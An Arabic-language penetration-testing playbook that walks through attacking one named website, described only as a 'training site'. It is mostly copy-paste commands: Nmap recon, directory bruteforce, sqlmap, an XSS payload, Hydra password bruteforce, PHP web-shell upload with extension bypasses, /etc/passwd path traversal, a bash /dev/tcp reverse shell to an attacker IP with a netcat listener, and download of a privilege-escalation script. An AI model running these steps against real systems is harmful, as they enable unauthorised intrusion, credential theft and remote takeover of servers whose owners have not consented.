

تعليمات اختبار اختراق:

الخطّة الذهبية لاختبار اختراق موقع تدريبي بالكالي

مقسّمة حسب الأدوات

1) جمع المعلومات – Recon & Enumeration

فحص DNS

```
dig truephers.com  
nslookup truephers.com
```

فحص عام باستخدام Nmap (بورتات، خدمات، نسخ)

```
nmap -sV -sC -O -Pn truephers.com
```

فحص ويب فقط

```
nmap --script=http-enum -p80,443 truephers.com
```

2) اكتشاف الصفحات المخفية – Directory Bruteforce

Gobuster

```
gobuster dir -u https://www.truephers.com -w /usr/share/wordlists/dirb/common.txt -t 30
```

باستخدام FFUF (أسرع)

```
ffuf -u https://www.truephers.com/FUZZ -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

3) فحص الثغرات تلقائيًا – Scanners

Nikto

nikto -h <https://www.truephers.com>

WhatWeb – معرفة نوع السيرفر و CMS

whatweb <https://www.truephers.com>

4) اختبار الـ Web Vulnerabilities يدويًا

SQL Injection (باستخدام Burp Suite)

1. افتح Burp

2. شغل Proxy

3. روح على أي form login / search

4. جرب payload مثل:

'
"
-- or 1=1'

SQLMap (إذا الموقع متعمد للثغرات)

sqlmap -u "https://www.truephers.com/page.php?id=1" --dbs

استبدل الـ URL حسب الصفحات الضعيفة.

XSS اختبار (5)

Payload بسيط:

<script>alert(1)</script><"

يمكن تجربته:

- في محرك البحث
- في الـ comment forms
- بالـ GET parameters

Broken Authentication (6)

اختبر:

- Login brute force
- Password reset misconfigurations
- Session ID predictability

Hydra (إذا عندك صفحة Login متعمدة الثغرات):

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt https://www.truephers.com/login.php  
"http-post-form "username=^USER^&password=^PASS^:F=incorrect
```

File Upload Vulnerabilities (7)

إذا أكو صفحة upload:

- جرب ترفع php shell
- إذا يمنع php، جرب double extension

shell.php.jpg
shell.php;.png

LFI / RFI (8) (تضمين ملفات)

جرب:

etc/passwd/
etc/passwd/../../../../..

9) استغلال الثغرة = Getting Reverse Shell

إذا حصلت RCE:

:Reverse shell

bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

:Netcat listener

nc -lvnp 4444

10) رفع الامتياز – Privilege Escalation

بعد الحصول على شل:

- فحص sudoers
- فحص SUID
- فحص الكرنل
- فحص الباسوردات داخل الملفات

أداة جاهزة:

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh  
chmod +x LinEnum.sh  
LinEnum.sh/.
```
